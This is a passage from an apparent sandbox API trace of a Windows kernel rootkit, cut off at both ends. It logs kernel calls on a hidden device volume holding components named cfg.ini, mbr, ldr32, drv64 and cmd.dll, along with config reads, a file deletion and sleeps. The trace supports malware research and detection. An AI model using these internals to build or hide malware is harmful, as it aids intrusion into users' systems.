out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.322] KeEnterCriticalRegion () [0122.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.322] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.322] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.322] KeLeaveCriticalRegion () [0122.322] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.322] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.322] KeEnterCriticalRegion () [0122.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.322] ExFreePoolWithTag (P=0xfffffa8003be3950, Tag=0x0) [0122.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.322] KeLeaveCriticalRegion () [0122.322] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.322] ReleaseMutex (hMutex=0xf0) returned 1 [0122.322] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.322] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.322] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.322] KeEnterCriticalRegion () [0122.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.323] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.323] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.323] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.323] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.323] IdePortDispatch () returned 0x103 [0122.323] KeWaitForMutexObject () returned 0x0 [0122.323] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.323] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.323] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.323] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.323] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.323] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4af0 [0122.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.323] KeLeaveCriticalRegion () [0122.323] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.323] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.323] KeEnterCriticalRegion () [0122.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.323] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.323] KeLeaveCriticalRegion () [0122.323] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.323] KeEnterCriticalRegion () [0122.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.323] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.323] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.323] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.323] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.323] IdePortDispatch () returned 0x103 [0122.323] KeWaitForMutexObject () returned 0x0 [0122.323] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.324] KeLeaveCriticalRegion () [0122.324] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.324] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.324] KeEnterCriticalRegion () [0122.324] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.324] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6b000 [0122.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.324] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.324] IdePortDispatch () returned 0x103 [0122.324] KeWaitForMutexObject () returned 0x0 [0122.324] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.324] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.324] IdePortDispatch () returned 0x103 [0122.324] KeWaitForMutexObject () returned 0x0 [0122.324] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.324] KeLeaveCriticalRegion () [0122.324] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.325] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.325] KeEnterCriticalRegion () [0122.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.325] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.325] KeLeaveCriticalRegion () [0122.325] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.325] KeEnterCriticalRegion () [0122.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.325] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.325] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.325] KeLeaveCriticalRegion () [0122.325] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.325] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.325] KeEnterCriticalRegion () [0122.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.325] ExFreePoolWithTag (P=0xfffffa8003be4af0, Tag=0x0) [0122.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.325] KeLeaveCriticalRegion () [0122.325] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.325] ReleaseMutex (hMutex=0xf0) returned 1 [0122.325] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.325] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.325] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.325] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.325] KeEnterCriticalRegion () [0122.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.325] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.325] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.325] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.325] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.325] IdePortDispatch () returned 0x103 [0122.326] KeWaitForMutexObject () returned 0x0 [0122.326] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.326] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.326] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.326] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.326] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.326] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.326] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.326] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.326] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.326] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.326] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.326] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.326] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.326] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.326] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.326] KeLeaveCriticalRegion () [0122.326] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.326] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.326] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.326] KeEnterCriticalRegion () [0122.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.326] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.326] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.326] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.326] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.326] IdePortDispatch () returned 0x103 [0122.326] KeWaitForMutexObject () returned 0x0 [0122.326] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.326] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.326] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.326] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.326] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.326] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.327] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.327] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.327] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.327] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.327] KeLeaveCriticalRegion () [0122.327] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.327] ReleaseMutex (hMutex=0x100) returned 1 [0122.327] Sleep (dwMilliseconds=0x2bf20) [0122.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c1cf690, dwHighDateTime=0x1d24fa4)) [0122.333] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.333] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.333] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.333] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.333] KeEnterCriticalRegion () [0122.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.333] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.333] IdePortDispatch () returned 0x103 [0122.334] KeWaitForMutexObject () returned 0x0 [0122.334] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.334] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.334] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.334] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.334] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.334] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4230 [0122.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.334] KeLeaveCriticalRegion () [0122.334] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.334] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.334] KeEnterCriticalRegion () [0122.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.334] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.334] KeLeaveCriticalRegion () [0122.334] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.334] KeEnterCriticalRegion () [0122.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.334] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.334] IdePortDispatch () returned 0x103 [0122.334] KeWaitForMutexObject () returned 0x0 [0122.334] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.334] KeLeaveCriticalRegion () [0122.334] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.335] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.335] KeEnterCriticalRegion () [0122.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.335] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6e000 [0122.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.335] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.335] IdePortDispatch () returned 0x103 [0122.335] KeWaitForMutexObject () returned 0x0 [0122.335] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.335] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.335] IdePortDispatch () returned 0x103 [0122.335] KeWaitForMutexObject () returned 0x0 [0122.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.335] KeLeaveCriticalRegion () [0122.335] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.336] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.336] KeEnterCriticalRegion () [0122.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.336] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.336] KeLeaveCriticalRegion () [0122.336] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.336] KeEnterCriticalRegion () [0122.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.336] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.336] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.336] KeLeaveCriticalRegion () [0122.336] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.336] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.336] KeEnterCriticalRegion () [0122.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.336] ExFreePoolWithTag (P=0xfffffa8003be4230, Tag=0x0) [0122.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.336] KeLeaveCriticalRegion () [0122.336] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.336] ReleaseMutex (hMutex=0xf0) returned 1 [0122.336] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.336] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.336] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.336] KeEnterCriticalRegion () [0122.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.336] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.336] IdePortDispatch () returned 0x103 [0122.336] KeWaitForMutexObject () returned 0x0 [0122.337] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.337] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.337] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.337] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.337] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.337] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4aa0 [0122.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.337] KeLeaveCriticalRegion () [0122.337] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.337] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.337] KeEnterCriticalRegion () [0122.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.337] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.337] KeLeaveCriticalRegion () [0122.337] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.337] KeEnterCriticalRegion () [0122.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.337] KeInitializeEvent (in: Event=0xfffff880028b2620, 